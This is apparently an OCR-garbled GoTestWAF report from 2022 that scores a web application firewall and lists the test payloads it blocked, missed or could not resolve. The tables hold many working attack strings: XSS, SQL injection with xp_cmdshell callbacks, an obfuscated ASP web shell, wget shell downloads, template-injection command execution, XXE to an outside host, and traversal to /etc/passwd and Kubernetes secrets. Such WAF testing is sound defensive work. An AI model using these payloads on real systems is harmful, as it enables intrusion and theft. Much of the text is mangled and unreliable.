GoTestWAF API / Application Security Testing
Results

Type

API Security

Application Security

Project name : generic
URL
Testing Date : 03 May 2022

GoTestWAF version : unknown

True-negative tests True-positive tests
blocked passed

a 75.0% N/A 0.0%
B+ 87.2% ﬂ 9.1%

Application Security

Grade

75.0%

48.2%



Loic Jardin


Benchmarks against other solutions

Type

API Security

API Security

Application Security

Overall score

ModSecurity PARANOIA=1 n 42.9% n 30.3% n 36.6%
ModSecurity PARANOIA=2 a 78.6% n 34.7% n 56.6%
ModSecurity PARANOIA=3 n 92.9% n 39.4% n 66.2%
ModSecurity PARANOIA=4 100.0% n 40.8% a 70.4%
Your project a 75.0% n 48.2% ﬂ 61.6%



Details

Summary

Test set
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community
community
community
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owasp
owasp

owasp
owasp

owasp
owasp
owasp
owasp
owasp
owasp
owasp
owasp
owasp
owasp-api
owasp-api
owasp-api
owasp-api
owasp-api

false-pos

Test case
community-Ifi

community-rc
e

community-sq
li

community-xs
s

community-xx
e

crif
Idap-injection
mail-injection

nosgl-injectio
n

path-traversal
rce
rce-urlparam
shell-injection
sql-injection
ss-include
sst-injection
xml-injection
Xss-scripting
graphaql
graphql-post
grpc

rest

soap

texts

False Positive Tests

30 false positive requests identified as blocked (failed, bad behavior)

Payload

union was a great select

Percentage

100.00%

100.00%

100.00%

99.21%

0.00%

100.00%
40.00%

33.33%

0.00%

62.22%
50.00%
60.00%
61.90%
5714%
75.00%
50.00%
0.00%
71.21%
0.00%
100.00%
0.00%
100.00%
100.00%

9.09%

Blocked

10

32

502

28

13

24

15

12

47

30

Bypassed Unresolved
0 0
0 2
0 0
4 18
0 2
0 1
3 1
6 15
6 24
17 65
4 10
2 4
8 27
18 30
5 20
12 40
0 13
19 70
2 4
0 2
0 0
0 0
0 0
3 18
Test case
texts URL

Encoder

Sent

12

32

524

16

24

30

110

18

48

72

40

64

13

136

51

Failed

Placeholder

URLParam

Status

403



union was a great select

union was a great select

john+or@var.es

john+or@var.es

DEAR FINN,--I think it would do; copy should reach us second post
DEAR FINN,--I think it would do; copy should reach us second post
The Senora found herself a heroine; more than that, she became aware
The Senora found herself a heroine; more than that, she became aware
time he came.

time he came.

echo in the mirror

echo in the mirror

curl and divergence

curl and divergence

exec noun

exec noun

bash away in the gym

bash away in the gym

zsh is the best!

zsh is the best!

java lang courses

java lang courses

JavaScript: Basics of JavaScript Language

JavaScript: Basics of JavaScript Language
JavaScript: Basics of JavaScript Language
1s 300 lexus

1s 300 lexus

nc 8000 controller

nc 8000 controller

3 false positive requests identified as bypassed (passed, good behavior)

Payload
h2<h1
D'or 1st parfume

1) a-b=c

18 true positive requests identified as unresolved
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Payload
h2<h1

D'or 1st parfume

h2<h1
D'or 1st parfume
1) a-b=c

1) a-b=c

Jjohn+or@var.es

DEAR FINN,--I think it would do; copy should reach us second post

The Senora found herself a heroine; more than that, she became aware

time he came.

echo in the mirror

curl and divergence

exec noun

bash away in the gym

zsh is the best!

java lang courses

1s 360 lexus

nc 8000 controller

Bypasses in Details

106 malicious requests have bypassed the security solution

Payload

alert?. (document?.cookie)

Function("\x61\x6c\x65\x72\x74\x28\x31\x29") () ;

{{constructor.constructor('alert(1)')()}}

{franctriictar efanctrintar(alart® 1YY

Test case

texts
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Test case

community-xs
s
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Encoder
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HTMLMultipar
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tForm

HTMLMultipar
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LLYUVIIO UL WU LUT s UUIID U UL UUT \ULUI U 1 S\ /) )

*) (uid=+)) (| (uid=+

(&(uid=+) (uid=+)) (| (uid=x) (userPassword={MD5}X83M01qnZdYdgyfeuILPmQ=
=))

(&(uid=+) (uid=+)) (| (uid=x) (userPassword={MD5}X83M01qnZdYdgyfeuIlPmQ=
=)

V100 CAPABILITY V181 FETCH 4791

V168 CAPABILITY V181 FETCH 4791

QUIT

QUIT

RCPT TO: test@evil.com

RCPT TO: test@evil.com

db.injection.insert({success:1});
db.injection.insert({success:1});

true, $where: '99 = 88'

true, $where: '99 = 838'

', $or: [ {3}, { 'order':'order

', $or: [ {3, { 'order':'order

/static/img/../../etc/passwd

.../ ... /WINDOWS/win.ini

.../ ... /WINDOWS/win.ini

S \L\L\L\usr/lib\libinjection.so.6

file=/etc/passwd

/src/ .. /WEB-INF/web.xml
file://0000::801/var/run/secrets/kubernetes.io/serviceaccount
file://00088::001/var/run/secrets/kubernetes.io/serviceaccount
\\08::001\c$\windows\win.ini

\\8::001\c$\windows\win.ini

\\::1\c$\users\default\ntuser.dat
\\::1\c$\users\default\ntuser.dat
\\localhost\c$\windows\win.ini

\\localhost\c$\windows\win.ini
file://////11111111111111]]//c|\windows\win.1ini
file:////11111111111111]1]]]]c|\windows\win.ini
php://filter/zlib.deflate/convert.baseb64-encode/resource=/etc/passwd
Ev al ("Ex"&"e"&"cute(""Server.ScriptTimeout=3680:0n Error Resume Ne
xt:Function bd(byVal s):For i=1 To Len(s) Step 2:c=M"&"i"&"d(s,i,2):

If IsNumeric(M"&"i"&"d(s,i,1)) Then:Ex"&"e"&"cute(""""bd=bd&
Cll&llh"&ﬂr(&HIIIIIIII&C&IlIIHII)IIIIIIII):Else:EXII&Ile"&chte(lll||l||bd=bd&cll&llhll&l|r\
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(BH""""gcqM"8"i"&"d(s,i 2,2)&"""")""" ) :i=i 2:End If""&c"&"h"&"r(18)
&""Next:End Function:Response.Write(""""@*1x1*@""""):Ex"&"e"&"cute
(""""0n Error Resume Next:""""&bd(""""44696d26686d3a536574206f626a58
4d4c3db365727665722e4372656174654F626a65637428224d53584d4c322e536572
766572584d4c4854545022293a6T626a584d4c2e6T70656€2022474554222¢226874
74703a2f2f6576696c2e636T6d2f6170692e78687083f6b65793d7¢786c736¢31736b
733832646a6173647564736178787878222c66616¢c73653a6T626ab84d4c2e73656e
6428293a686d3d6f626a584d4c2e726573706F6e7365546578743a496620686d3c3e
224f4b22205468656e3a526573706F6e73652e57726974652822454e4422293a456e
642049663a526573786F6e73652e577269746528224c584c2229"""")) :Response.
Write(""""*@1x1@*"""") :Response.End"")")

python/object/new:exec [import socket; socket.gethostbyname('someh
ost.burpcollaborator.net')]

Ev al ("Ex"&"e"&"cute(""Server.ScriptTimeout=3680:0n Error Resume Ne
xt:Function bd(byVal s):For i=1 To Len(s) Step 2:c=M"&"i"&"d(s,i,2):
If IsNumeric(M"&"i"&"d(s,i,1)) Then:Ex"&"e"&"cute(""""bd=bd&
c"&"h"&"r(&H""""&c&" ")) :Else:Ex"&"e"&" cute (""" "bd=bd&c"&"h"&"r
(BH""""&cqM"8"i"&"d(s,i 2,2)&"""")""""):i=1i 2:End If""&c"&"h"&"r(18)
&""Next:End Function:Response.Write(""""@*1x1*@""""):Ex"&"e"&"cute
("""0n Error Resume Next:""""&bd(""""44696d20686d3ab36574206T626a58
4d4c3db365727665722e43726561746541626a65637428224d53584d4c322e536572
766572584d4c4854545022293a6F626a584d4c2e6F78656e2022474554222¢226874
74703a2f2f6576696c2e636T6d2f6170692e7068783f6b65793d7¢786c736c31736b
733832646a6173647564736178787878222c66616¢73653a6F626ab84d4c2e73656e
6428293a686d3d6T626a584d4c2e726573706T6e7365546578743a496628686d3c3e
2244b222085468656e3a5265737066e73652e577269746528224544422293a456e
642049663a526573706F6e73652e577269746528224c584c2229"""")) :Response.
Write(""""*@1x1@*"""") :Response.End"")")

Ev al ("Ex"&"e"&"cute(""Server.ScriptTimeout=3680:0n Error Resume Ne
xt:Function bd(byVal s):For i=1 To Len(s) Step 2:c=M"&"i"&"d(s,i,2):
If IsNumeric(M"&"i"&"d(s,i,1)) Then:Ex"&"e"&"cute(""""bd=bd&
c"&"h"&"r(&H""""&c&" """ )" ") :E1se:Ex"&"e"&" cute (""" "bd=bd&c"&"h"&"r
(BH""""gcqM"8"i"&"d(s,i 2,2)&"""")"""):i=i 2:End If""&c"&"h"8&"r(18)
&""Next:End Function:Response.Write(""""@*1x1*@""""):Ex"&"e"&"cute
("""0n Error Resume Next:""""&bd(""""44696d26686d3a536574206f626a58
4d4c3db365727665722e4372656174654F626a65637428224d53584d4c322e536572
766572584d4c4854545022293a6T626a584d4c2e6T70656€2022474554222¢226874
74703a2f2f6576696c2e636T6d2f6170692e78687083f6b65793d7¢786c736¢31736b
733832646a6173647564736178787878222c66616¢73653a6T626ab84d4c2e73656e
6428293a686d3d6f626a584d4c2e726573706F6e7365546578743a496620686d3c3e
224f4b22205468656€3a526573706F6e73652e57726974652822454e4422293a456e
642049663a526573786F6e73652e577269746528224c584c2229"""")) :Response.
Write(""""*@1x1@*"""") :Response.End"")")

python/object/new:exec [import socket; socket.gethostbyname('someh
ost.burpcollaborator.net')]

lpython/object/new:exec [import socket; socket.gethostbyname('someh
ost.burpcollaborator.net')]

“echo${IFS}848954+773784"

;wget http://some_host/sh311.sh

|/bin/id]|

| /bin/id|
|getent+hosts+somehost.burpcollaborator.net.&
|getent+hosts+somehost.burpcollaborator.net.&

;getent$IFS$9hosts$IFS$9somehost. burpcollaborator.net;echo$IFS$9$((3
482*7301));
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| set /a 3482*7301

"union select -7431.1, name, @aaa from u_base--w-
"union select -7431.1, name, @aaa from u_base--w-
"union select -7431.1, name, @aaa from u_base--w-
'or 123.22=123.22

'or 123.22=123.22

'or 123.22=123.22

' waitfor delay '06:00:18'--

' waitfor delay '06:00:18'--

' waitfor delay '06:00:18'--

")) or pg_sleep(5)--

")) or pg_sleep(5)--

")) or pg_sleep(5)--

(select (@) from(select(sleep(15)))v)/*'+(select(8)from(select(sleep(1
5)))v)+'%22+(select(B)from(select(sleep(15)))v)+%22*/

(select(@)from(select(sleep(15)))v)/*'+(select(B)from(select(sleep(1
5)))v)+'%22+(select(8)from(select(sleep(15)))v)+%22*/

(select (@) from(select(sleep(15)))v)/*'+(select(8)from(select(sleep(1
5)))v)+'%22+(select(8)from(select(sleep(15)))v)+%22*/

3;/* a */ DECLARE @c varchar(255);/* b */SELECT @c='ping '+master.sy
s.fn_varbintohexstr(convert(varbinary,SYSTEM_USER))+'.0808.burpco
1'+'laborator.net';/*xx*/ EXEC Master.dbo.xp_cmdshell @c;/*xxx*/ EXE
C sp_SYS_ProtoOp @id=3

3;/* a */ DECLARE @c varchar(255);/* b */SELECT @c='ping '+master.sy
s.fn_varbintohexstr(convert(varbinary,SYSTEM_USER))+'.0808.burpco
1'+'laborator.net';/*xx*/ EXEC Master.dbo.xp_cmdshell @c;/*xxx*/ EXE
C sp_SYS_ProtoOp @id=3

3;/* a */ DECLARE @c varchar(255);/* b */SELECT @c='ping '+master.sy
s.fn_varbintohexstr(convert(varbinary,SYSTEM_USER))+'.0808.burpco
1'+'laborator.net';/*xx*/ EXEC Master.dbo.xp_cmdshell @c;/*xxx*/ EXE
C sp_SYS_ProtoOp @id=3

<!l—ttexec cmd="wget http://some_host/shell.txt | rename shell.txt sh
ell.php"—

<!l—#echo var="DOCUMENT_URI" —
<l—#exec cmd="1s" —

<l—#exec cmd="dir" —

<!—#include file="UUUUUUWU...UU"—
{php}echo ‘id’;{/php}

{{+'".__class__.__mro__[2].__subclasses__()[40]("'/test/aaaa').read()
+1}

${class.getResource("./test/test.res").getContent()}

{{_self.env.registerUndefinedFilterCallback("exec")3}}{{_self.env.get
Filter("id")}}
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{{_self.env.registerUndefinedFilterCallback("exec")3}}{{_self.env.get
Filter("id")}}

<t#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("i

d")}

aaaa\u0B27%2b#{16*8787}%2b\ubB27bbb
2aaa\uBB27%2b#{16*87873}%2b\ub027bbb
{{request|attr("__class__")}}
{{request|attr("__class__")}}

{{1337*1338}}

{{1337*1338}}

<body onload=alert('test1')>

<b onmouseover=alert('Wufff!')>click me!</b>

<IMG SRC=j&#X41vascript:alert('test')>
<script>alert("TEST");</script>

"><script>alert()</script>

<img/src=x/onerror=xxx

"onwheel=ead(111)
?__proto__[innerHTML]=<img/src/onerror%3dalert(1)>
?__proto__[CLOSURE_BASE_PATH]=data: ,alert(1)//
__proto__[v-if]=_c.constructor('alert(1)')()
__proto__[v-if]=_c.constructor('alert(1)')()

sometext<svg onload=alert(document.domain)>?mimeType=text/html
'><svg/onload=alert’xss">
"T3}catch(e){if(!this.x)alert(document.domain),this.x=1}//
"T)3catch(e){if(!this.x)alert(document.domain),this.x=1}//
"));if(!self.x)self.x='alert(document.domain)}catch(e){}//
<img src=x onerror=alert(document.domain)>/all
<ahref="javascript:top[86808439..toString(38)1()">XSS Test</a>
<ahref="javascript:window[/alert/.source]()">XSS Test</a>
{ __schema { types { name } } }

{__schema{queryType{name}mutationType{name}subscriptionType{name}typ
es{...FullType}directives{name description locations args{...InputVa
lue}}}3fragment FullType on __Type{kind name description fields(incl
udeDeprecated:true){name description args{...InputValue}type{...Type
Ref}isDeprecated deprecationReason}inputFields{...InputValue}interfa
ces{...TypeRef}enumValues(includeDeprecated:true){name description i
sDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment Inp
utValue on __InputValue{name description type{...TypeRef}defaultValu
e}fragment TypeRef on __Type{kind name ofTypefkind name ofType{kind
name ofTypefkind name ofType{kind name ofType{kind name ofType{kind
name ofTypefkind name}}}}3}3}
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Unresolved requests in Details

358 requests identified as blocked and passed or as not-blocked and not-passed

Payload

‘curl -L http:

“curl -L http:

13CsvG%2Fx%3D%220%3E%22%2F oNloaD%3Dconfirm%28%29%2F%2F

%3CsvGie2Fx%3D%22%3E%22%2F oN1oaD%3Dconfirm%28%29%2F2F

/[1G00EOG.00®"

[100OOOG.00®

alert?. (document?.cookie)

alert?. (document?.cookie)

alert?. (document?.cookie)

Function("\x61\x6c\x65\x72\x74\x28\x31\x29") () ;

Function("\x61\x6c\x65\x72\x74\x28\x31\x29") () ;

Function("\x61\x6c\x65\x72\x74\x28\x31\x29") () ;

{{constructor.

{{constructor.

{{constructor.

{{constructor.

{{constructor.

{{constructor.

constructor('alert(1)') ()3}

constructor('alert(1)') ()3}

constructor('alert(1)') ()3}

constructor(alert™1%) ()3}

constructor(alert’ 1) ()3}

constructor(alert’ 1) ()}}

&gt;+src+onerror=confirm&lpar;1&rpar;&lt;

&gt;+src+onerror=confirm&lpar;1&rpar;&1t;

&gt;+src+onerror=confirm&amp;lpar;1&amp;rpar;&lt;

&gt;+src+onerror=confirm&amp;lpar;1&amp;rpar;8&1lt;

<?xml version="1.8" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwA
IQ-ELEMENT foo ANY +AD4 +ADwWAIQ-ENTITY xxe SYSTEM +ACI-http://hack-
r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Test case

community-rc
e

community-rc
e

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xs
s

community-xx

Encoder

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

URL

Plain

Placeholder

HTMLMultipar
tForm

JSONRequest

HTMLMultipar
tForm

JSONRequest

HTMLForm

HTMLMultipar
tForm

JSONRequest

HTMLForm

JSONRequest

HTMLMultipar
tForm

HTMLForm

JSONRequest

HTMLMultipar
tForm

HTMLForm

HTMLMultipar
tForm

JSONRequest

HTMLMultipar
tForm

JSONRequest

JSONRequest

HTMLMultipar
tForm

XMLBody

Status

405

405

405

405

405

405

405

405

405

405

405

405

405

405

405

405

405

405

405

405

400



<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY data SYSTEM "netdoc:/et community-xx

c/passwd">]><foo>&data;</foo> e Al A IEEeE] A0

%3f%0dSet-Cookie:crlf=injection crif Plain URLPath 404

*)(uid=+)) (| (uid=* Idap-injection  Base64Flat HTMLForm 405
HTMLMultipar

*) (uid=x)) (| (uid=* Idap-injection  Base64Flat : 405
tForm

*) (uid=+)) (| (uid=* Idap-injection  Base64Flat JSONRequest 405
HTMLMultipar

* = s = i q

) (uid=x)) (] (uid=x Idap-injection  URL tForm 405

*) (uid=x)) (| (uid=* Idap-injection  URL JSONRequest 405

&(uid=*) (uid=+ id=«) (userPassword={MD5}X083M01gnZdYdgyfeuILPmQ= HTMLMultipar

(8(uid=+) (uid=)) (| (uid=) (u ! oS3 ! e 0 Idap-injection  Base64Flat 3 405

=)) tForm

&(uid=*) (uid=+ id=+ P d={MD5}X083M01gnZdYdgyfeuILPmQ=

E))(“l ) (uid=+)) (| (uid=+) (userPassword={HD5} gnzdYdgyfeulLPnQ Idap-injection  Base64Flat HTMLForm 405

&(uid=*) (uid=+ uid=+) (userPassword={MD5}X03M01gnZdYdgyfeuILPmQ=

(& ) 2 ) oS3 ! e 0 Idap-injection  URL JSONRequest 405

=)

&(uid=* id=x id=x) (userPassword={MD5}X83M01qnZdYdgyfeuILPmQ=
(&(uid=+) (uid=:)) (| (uid=) (u word={ND5} anZaYdgyfeulLPn0= i -injection  BaseG4Flat  JSONRequest 405

=)
&(uid=*) (uid=+ uid=+) (userPassword={MD5}X03M01gnZdYdgyfeuILPmQ=
E))( ) NI ) {hoS} : 2 0 Idap-injection  URL HTMLForm 405
&(uid=+) (uid=* uid=+) (userPassword={MD5}X83M01gnZdYdgyfeuIlLPmQ= HTMLMultipar
(&( )( ) U( )( {MD5} q gy Q ldap-injection  URL P 405
=)) tForm
V100 CAPABILITY V181 FETCH 4791 mail-injection Base64Flat URLPath 404
V168 CAPABILITY V181 FETCH 4791 mail-injection Base64Flat HTMLForm 405
S HTMLMultipar
V100 CAPABILITY V101 FETCH 4791 mail-injection Base64Flat tForm 405
V100 CAPABILITY V181 FETCH 4791 mail-injection URL HTMLForm 405
S HTMLMultipar
V100 CAPABILITY V181 FETCH 4791 mail-injection URL 405
tForm
QUIT mail-injection Base64Flat HTMLForm 405
QUIT mail-injection Base64Flat URLPath 404
S HTMLMultipar
QUIT mail-injection Base64Flat 405
tForm
QUIT mail-injection URL HTMLForm 405
L HTMLMultipar
QUIT mail-injection URL 405
tForm
RCPT TO: test@evil.com mail-injection Base64Flat HTMLForm 405
RCPT TO: test@evil.com mail-injection Base64Flat URLPath 404
; S HTMLMultipar
RCPT TO: test@evil.com mail-injection Base64Flat 405
tForm
; S HTMLMultipar
RCPT TO: test@evil.com mail-injection URL tForm 405

RCPT TO: test@evil.com mail-injection URL HTMLForm 405



db.injection.

db.injection.

db.injection.

db.injection.
db.injection.

db.injection.

db.injection.

true, $where:

db.injection.

insert({success

insert({success:

insert({success

insert({success:
insert({success:

insert({success:

insert({success:

'99 = 88'

insert({success:

H

—

H

—

—_

—

—_

—

true,
true,

true,

true,

true,

true,

', $or
true,
', $or

', $or

', $or:

', $or:

', $or

', $or:

', $or

$where: '99 =
$where: '99 =

$where: '99 =

$where: '99 =

$where: '99 =

$where: '99 =

88!

88’

88!

88’

88’

88'

: [ {3, { 'order':'order

$where: '99 = 88'

: [ {3, { 'order':'order

: [ {3, { 'order':'order

[ {3, { 'order':'order

[ {3}, { 'order':'order

: [ {3, { 'order':'order

[ {3, { 'order':'order

: [ {3, { 'order':'order

/static/img/../../etc/passwd

/static/img/..

/static/img/..

/../etc/passwd

/../etc/passwd

/static/img/../../etc/passwd

../ ... /WINDOWS/win.ini
../ ... /WINDOWS/win.ini
../ ... /WINDOWS/win.ini
../ ... /WINDOWS/win.ini

B;
B;

B;

B;
B;
B;

B;

b;

nosgl-injection

nosgql-injection

nosgl-injection

nosql-injection
nosgl-injection

nosgql-injection

nosql-injection

nosgl-injection
nosql-injection
nosgl-injection
nosql-injection

nosgl-injection

nosql-injection

nosql-injection

nosql-injection

nosql-injection
nosgl-injection
nosql-injection
nosgl-injection

nosql-injection

nosgl-injection

nosql-injection

nosql-injection
nosgl-injection
path-traversal
path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

Base64Flat

Base64Flat

Base64Flat

Base64Flat

URL

URL

URL

Base64Flat

URL

Base64Flat

Base64Flat

URL

Base64Flat

URL

URL

Base64Flat

URL

Base64Flat

URL

Base64Flat

Base64Flat

URL

URL

URL

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

URLPath
HTMLForm

HTMLMultipar
tForm

JSONRequest
URLPath
HTMLForm

HTMLMultipar
tForm

URLPath
JSONRequest
HTMLForm
JSONRequest
URLPath

HTMLMultipar
tForm

JSONRequest

HTMLMultipar
tForm

URLPath
HTMLForm
HTMLForm
URLPath
JSONRequest

HTMLMultipar
tForm

HTMLMultipar
tForm

HTMLForm
JSONRequest
URLPath
HTMLForm
JSONRequest

HTMLMultipar
tForm

URLPath
HTMLForm

HTMLMultipar
tForm

JSONRequest

404

405

405

405

404

405

405

404

405

405

405

404

405

405

405

404

405

405

404

405

405

405

405

405

404

405

405

405

404

405

405

405



S\ \L\L\usr/lib\libinjection.so.6

.../ ... /WINDOWS/win.ini

../ ... /WINDOWS/win.ini

.../ ... /WINDOWS/win.ini

A\ \usr/lib\libinjection.so.6

\L\L\L\usr/lib\libinjection.so.6

A\l \usr/lib\libinjection.so.6
file=/etc/passwd

file=/etc/passwd

file=/etc/passwd

file=/etc/passwd
file=/etc/passwd

/src/ .. /WEB-INF/web.xml

/src/ .. /WEB-INF/web.xml

/src/ .. /WEB-INF/web.xml

/src/ .. /WEB-INF/web.xml

file://0008::001/var/run/secrets/kubernetes.

file://0000::801/var/run/secrets/kubernetes.

file://00088::001/var/run/secrets/kubernetes.

file://0000::8081/var/run/secrets/kubernetes.
file://0000::801/var/run/secrets/kubernetes.

file://0000::001/var/run/secrets/kubernetes.

file://0000::801/var/run/secrets/kubernetes.

file://00088::001/var/run/secrets/kubernetes.

\\08::001\c$\windows\win.ini

\\8::001\c$\windows\win.ini

\\08::001\c$\windows\win.ini
\\0::001\c$\windows\win.ini
\\08::001\c$\windows\win.ini

\\8::001\c$\windows\win.ini

\\08::001\c$\windows\win.ini

io/serviceaccount

io/serviceaccount

io/serviceaccount

io/serviceaccount
io/serviceaccount

io/serviceaccount

io/serviceaccount

io/serviceaccount

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal
path-traversal

path-traversal

path-traversal

path-traversal
path-traversal

path-traversal

path-traversal

path-traversal
path-traversal
path-traversal

path-traversal

path-traversal

path-traversal
path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal
path-traversal
path-traversal

path-traversal

path-traversal

Base64Flat

URL

URL

URL

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

URL

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

Base64Flat

URL

URL

URL

URL

Base64Flat

Base64Flat

Base64Flat

Base64Flat

URL

URL

URL

URLPath
HTMLForm

HTMLMultipar
tForm

JSONRequest
HTMLForm

HTMLMultipar
tForm

JSONRequest
URLPath
HTMLForm

HTMLMultipar
tForm

JSONRequest
URLPath
URLPath

HTMLMultipar
tForm

HTMLForm
JSONRequest
URLPath
HTMLForm

HTMLMultipar
tForm

JSONRequest
URLPath
HTMLForm

HTMLMultipar
tForm

JSONRequest
URLPath

HTMLMultipar
tForm

HTMLForm
JSONRequest
JSONRequest
HTMLForm

HTMLMultipar
tForm

404

405

405

405

405

405

405

404

405

405

405

404

404

405

405

405

404

405

405

405

404

405

405

405

404

405

405

405

405

405

405



\\::1\c$\users\default\ntuser.dat
\\::1\c$\users\default\ntuser.dat

\\::1\c$\users\default\ntuser.dat

\\::1\c$\users\default\ntuser.dat

\\::1\c$\users\default\ntuser.dat

\\::1\c$\users\default\ntuser.dat

\\::1\c$\users\default\ntuser.dat

\\localhost\c$\windows\win.ini

\\localhost\c$\windows\win.ini

\\localhost\c$\windows\win.ini

\\localhost\c$\windows\win.ini

\\localhost\c$\windows\win.ini

\\localhost\c$\windows\win.ini
\\localhost\c$\windows\win. ini
file://///11111111111111]1]]]c|\windows\win.ini
file://///11111111111111]]]{]c|\windows\win.ini

file:////11111111111111]1]]]]c]\windows\win.ini

file:///1111111111111111]1]1]]c]\windows\win.ini
file:////1111111111111111]1]]c]\windows\win.ini

file://///1111111111]11111]]]]c]\windows\win.ini

file:///11111111111111111]1]]c]\windows\win.ini

php://filter/z1lib.deflate/convert.baseb4-encode/resource=/etc/passwd

php://filter/zlib.deflate/convert.baseb64-encode/resource=/etc/passwd
php://filter/z1lib.deflate/convert.baseb4-encode/resource=/etc/passwd
php://filter/zlib.deflate/convert.baseb64-encode/resource=/etc/passwd
php://filter/z1lib.deflate/convert.baseb4-encode/resource=/etc/passwd

Ev al ("Ex"&"e"&"cute(""Server.ScriptTimeout=3680:0n Error Resume Ne
xt:Function bd(byVal s):For i=1 To Len(s) Step 2:c=M"&"i"&"d(s,i,2):
If IsNumeric(M"&"i"&"d(s,i,1)) Then:Ex"&"e"&"cute(""""bd=bd&
c"&"h"&"r(&H""""&c&"""") """ ") :E1se:Ex"&"e"&" cute (""" "bd=hd&c"&"h"&" r
(&H""""gcqM"&"i"&"d(s,1 2,2)&"""")"" ") :i=1 2:End If""&c"&"h"&"r(18)
&""Next:End Function:Response.Write(""""@*1x1*@""""):Ex"&"e"&"cute
(""""0n Error Resume Next:""""&bd(""""44696d20686d3ab36574206626a58
4d4c3d5365727665722e43726561746541626a65637428224d53584d4c3222536572
766572584d4c4854545022293a61626a584d4c2e6F70656€2022474554222¢226874
74703a2f2f6576696c2e636T6d2f6176692e7068783f6b65793d7c786¢736c31736b

733832646a6173647564736178787878222c66616c73653a6f626a584d4c2e73656e
ALIRI92ARAARAAFAIAIRRAALRIaTIARTRTAAFARTRARRLARTRT4R240AAIAARAAR A0

path-traversal
path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal
path-traversal
path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal

path-traversal
path-traversal
path-traversal

path-traversal

rce-urlparam

Base64Flat

Base64Flat

Base64Flat

Base64Flat

URL

URL

URL

Base64Flat

Base64Flat

Base64Flat

Base64Flat

URL

URL

URL

Base64Flat

Base64Flat

Base64Flat

Base64Flat

URL

URL

URL

Base64Flat

Base64Flat

Base64Flat

Base64Flat

URL

URL

URLPath
HTMLForm
JSONRequest

HTMLMultipar
tForm

HTMLForm
JSONRequest

HTMLMultipar
tForm

URLPath
HTMLForm

HTMLMultipar
tForm

JSONRequest

HTMLMultipar
tForm

HTMLForm
JSONRequest
HTMLForm
URLPath

HTMLMultipar
tForm

JSONRequest
HTMLForm

HTMLMultipar
tForm

JSONRequest

HTMLMultipar
tForm

URLPath
HTMLForm
JSONRequest

URLPath

HTMLForm

404

405

405

405

405

405

405

404

405

405

405

405

405

405

405

404

405

405

405

405

405

405

404

405

405

404

405



UTLUL / UUUUUUUUU I UL UUUUTUTULL 7 LUV U1 UV UL 1 UUUUTUU T U TUUT 7 UULUUUUUUL UL

22414b222085468656e3a5265737066e73652e57726974652822454e4422293a456e
642049663a526573786673652577269746528224c584¢2229"""") ) :Response.
write(llﬂll lI*@lxl@*llllll II) :Response . Endll II)II)

Ev al ("Ex"&"e"&"cute(""Server.ScriptTimeout=36080:0n Error Resume Ne
xt:Function bd(byVal s):For i=1 To Len(s) Step 2:c=M"&"i"&"d(s,i,2):
If IsNumeric(M"&"i"&"d(s,i,1)) Then:Ex"&"e"&"cute(""""bd=bd&
c"&"h"&"r(&H""""&c&" """ ) ") :Else:Ex"&"e"&" cute (""" "bd=bd&c"&"h"&"r
(&H""""gcqM"&"i"&"d(s,1 2,2)&"""")"" ") 1i=1 2:End If""&c"&"h"&"r(10)
&""Next:End Function:Response.Write(""""@*1x1*@""""):Ex"&"e"&"cute
(""""0n Error Resume Next:""""&bd(""""44696d20686d3a536574206626a58
4d4c3d5365727665722e43726561746541626a65637428224d53584d4c322e536572
766572584d4c4854545022293a6T626a584d4c2e6T70656e2022474554222¢226874
747083a22f6576696c2e636T6d2f6170692e7068783f6h65793d7c786¢736¢31736b
733832646a6173647564736178787878222c66616¢73653a6f626a584d4c2e73656e
6428293a686d3d6T626a584d4c2e726573706T6e7365546578743a496620686d3c3e
224f4h222085468656e3a526573706F6e73652e57726974652822454e4422293a456e
642049663a526573706F6e73652e577269746528224c584¢2229"""") ) :Response.
Write(""""*@1x1@*"""") :Response.End"")")

lpython/object/new:exec [import socket; socket.gethostbyname('someh
ost.burpcollaborator.net')]

1python/object/new:exec [import socket; socket.gethostbyname('someh
ost.burpcollaborator.net')]

Ev al ("Ex"&"e"&"cute(""Server.ScriptTimeout=36080:0n Error Resume Ne
xt:Function bd(byVal s):For i=1 To Len(s) Step 2:c=M"&"i"&"d(s,i,2):
If IsNumeric(M"&"i"&"d(s,i,1)) Then:Ex"&"e"&"cute(""""bd=bd&
c"&"h"&"r(&H""""&c&" """ ) ") :Else:Ex"&"e"&" cute (""" " bd=bd&c"&"h"&"r
(&H""""gcqM"&"i"&"d(s,1 2,2)&"""")"" ") :i=1 2:End If""&"&"h"&"r(18)
&""Next:End Function:Response.Write(""""@*1x1*@""""):Ex"&"e"&"cute
(""""0n Error Resume Next:""""&bd(""""44696d20686d3ab36574206626a58
4d4c3d5365727665722e43726561746541626a65637428224d53584d4c322e536572
766572584d4c4854545022293a6T626a584d4c2e6T70656e2022474554222¢226874
747083a22f6576696c2e636T6d2f6170692e7068783f6h65793d7c786¢736¢31736b
733832646a6173647564736178787878222c66616¢73653a6f626a584d4c2e73656e
6428293a686d3d6T626a584d4c2e726573706T6e7365546578743a496620686d3c3e
2244h222085468656e3a526573706F6e73652e57726974652822454e4422293a456e
642049663a526573706F6e73652e577269746528224¢584c2229"""") ) :Response.
